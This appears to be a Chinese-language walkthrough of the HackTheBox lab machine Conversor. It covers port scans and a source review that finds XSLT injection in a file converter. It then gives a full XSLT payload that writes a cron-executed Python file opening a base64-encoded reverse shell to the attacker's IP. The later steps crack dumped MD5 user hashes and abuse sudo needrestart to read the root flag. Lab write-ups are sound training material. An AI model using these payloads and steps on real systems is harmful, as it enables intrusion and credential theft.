<h1>Season9 - Conversor</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/Conversor">https://app.hackthebox.com/machines/Conversor</a>
</blockquote>
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-python">➜ Conversor nmap -sT -min-rate 10000 -p- 10.10.11.92 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 20:51 CST
Nmap scan report for 10.10.11.92
Host is up (0.052s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 8.27 seconds
</code></pre>
<pre><code class="hljs language-python">➜ Conversor nmap -sT -A -p 22,80 10.10.11.92 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 20:52 CST
Nmap scan report for 10.10.11.92
Host is up (0.055s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 51.96 ms 10.10.14.1
2 52.06 ms 10.10.11.92

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds
</code></pre>
<h3>枚举</h3>
80 端口
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image1.png" alt="image.png">
随意注册一个用户进行登录，进入后台后，是一个文件转换点
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image2.png" alt="image.png">
点击下载模板可以下载一个 <code>nmap.xslt</code> 文件
这是一个 XSLT (Extensible Stylesheet Language Transformations) 样式表文件
它的核心作用是将 Nmap (网络扫描工具) 生成的原始 XML 格式的扫描结果 转换成一个 美观、易读的 HTML 报告页面
简而言之，它是一个 Nmap 报告生成器
尝试一下该网站上的功能，首先通过 nmap 生成 XML 文件
<pre><code class="hljs language-python">nmap -sT -A -oX test.xml -p 22,80 10.10.11.92
</code></pre>
上传下载模板以及生成XML文件后得到
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image3.png" alt="image.png">
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image4.png" alt="image.png">
我注意到转换的数据包里面的内容是
<pre><code class="hljs language-python">------geckoformboundary3e7871c7873ce6edd6adafba839b063a
Content-Disposition: form-data; name="xml_file"; filename="test.xml"
Content-Type: text/xml

xxe 内容
------geckoformboundary3e7871c7873ce6edd6adafba839b063a
Content-Disposition: form-data; name="xslt_file"; filename="nmap.xslt"
Content-Type: application/xml

xslt 内容
</code></pre>
索性尝试了 XXE ，但是没有收获
继续寻找其他内容，发现在 about 中能下载源代码…
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image5.png" alt="image.png">
<h2>XSLT Injection</h2>
首先会告诉我们每分钟都会执行 <code>scripts</code> 下的 <code>py</code> 文件，估计是要写文件了
<pre><code class="hljs language-python">If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
</code></pre>
在压缩包里面能找到一个 db 文件，但是通过 sqlite 打开后发现两张表，但是都是空的
<pre><code class="hljs language-shell">sqlite> .table
files users
sqlite> select * from users;
sqlite> SELECT * from files;
</code></pre>
随后通过 AI 进行对源码代码审计，发现一个高危漏洞：XSLT 注入与任意文件读取 (LFI)
位置： <code>/convert</code> 路由
风险描述：代码使用了 <code>lxml.etree</code> 进行 XML 和 XSLT 文件的解析与转换。
<pre><code class="hljs language-python">&#x3C;PYTHON>
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
</code></pre>
尽管开发者通过设置 <code>resolve_entities=False</code> 和 <code>no_network=True</code> 成功缓解了经典的XXE (XML 外部实体注入) 漏洞，但这些防护措施只应用于 XML 文档的解析，而没有阻止 XSLT 转换本身可能带来的风险。
如果攻击者能够上传一个恶意的 XSLT 文件，并且 <code>lxml</code> 库的配置允许，他们可以使用 XSLT 2.0 或更高版本中的 <code>document()</code> 函数来访问本地文件系统。
<blockquote>
<a href="https://book.hacktricks.wiki/en/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.html">https://book.hacktricks.wiki/en/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.html</a>
</blockquote>
测试 <code>XSLT</code>
<pre><code class="hljs language-python">&#x3C;?xml version="1.0" encoding="ISO-8859-1"?>
&#x3C;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
&#x3C;xsl:template match="/">
 Version: &#x3C;xsl:value-of select="system-property('xsl:version')" />&#x3C;br />
 Vendor: &#x3C;xsl:value-of select="system-property('xsl:vendor')" />&#x3C;br />
 Vendor URL: &#x3C;xsl:value-of select="system-property('xsl:vendor-url')" />&#x3C;br />
&#x3C;/xsl:template>
&#x3C;/xsl:stylesheet>
</code></pre>
还是存在 XSLT 注入的
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image6.png" alt="image.png">
寻找上传文件的 <code>payload</code> :
在 <a href="https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/#remote-code-execution-with-native-net">https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/#remote-code-execution-with-native-net</a> 的底下能找到 → <a href="https://x.com/ptswarm/status/1796162911108255974">https://x.com/ptswarm/status/1796162911108255974</a>
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image7.png" alt="image.png">
我们尝试一下，将 base64 代码换成自己的弹 <code>shell</code> 代码（PS: 注意 py 代码前不能有空格）
<pre><code class="hljs language-python">&#x3C;?xml version="1.0" encoding="UTF-8"?>
&#x3C;xsl:stylesheet
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns:ptswarm="http://exslt.org/common"
 extension-element-prefixes="ptswarm"
 version="1.0">
&#x3C;xsl:template match="/">
	&#x3C;ptswarm:document href="/var/www/conversor.htb/scripts/comeuiiaa.py" method="text">
import os;os.system('printf L2Jpbi9iYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjExMC82NjY2IDA+JjEn | base64 -d | bash')
 &#x3C;/ptswarm:document>
&#x3C;/xsl:template>
&#x3C;/xsl:stylesheet>
</code></pre>
等待执行，成功反弹
<img src="/post-images/HackTheBoxSeason9%20-%20Conversor/image8.png" alt="image.png">
<h2>提权 - to fismathac</h2>
我们拿一下之前是空的 users.db
<pre><code class="hljs language-python">sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|saboten|8a0f38c6c4894948f996c9ba93e90d6a
6|bmac|d00f5d5217896fb7fd601412cb890830
7|wick|9708d66b9338e4ee6f5db99a65f202de
8|admin|21232f297a57a5a743894a0e4a801fc3
9|paras|08af7c3e82d6b1975d7f16ff1bac9abf
10|master|57b50ebc22d544e7ffd797629c4af943
11|hacker|cf787ad3ebe79129ba3a149b6b287bf7
</code></pre>
刚好家目录中存在 <code>fismathac</code>k 用户
爆破得到密码 <code>Keepmesafeandwarm</code>
<pre><code class="hljs language-python">➜ Conversor john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
Keepmesafeandwarm (?) 
1g 0:00:00:01 DONE (2025-10-26 23:04) 0.8771g/s 9625Kp/s 9625Kc/s 9625KC/s Keiser01..Kebiti
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 
</code></pre>
通过 SSH 成功进入系统
<h2>提权 - to root</h2>
查看 sudo 权限
<pre><code class="hljs language-python">fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User fismathack may run the following commands on conversor:
 (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
</code></pre>
结束
<pre><code class="hljs language-python">fismathack@conversor:~$ sudo /usr/sbin/needrestart -c /root/root.txt
Error parsing /root/root.txt: Bareword "f3fb5f8b3d841219295e03effbce3058" not allowed while "strict subs" in use at (eval 14) line 1.
</code></pre>
<h2>总结</h2>
第一次碰到 XSLT 注入这玩意，折腾了小一会

Season9 Conversor https://app.hackthebox.com/machines/Conversor Recon PortScan 枚举 80 端口 随意注册一个用户进行登录，进入后台后，是一个文件转换点 点击下载模板可以下载一个 nmap.xslt 文件 这是一个 XSL...

HackTheBox - Season9 - Conversor

TheHackersLabs - THLPWN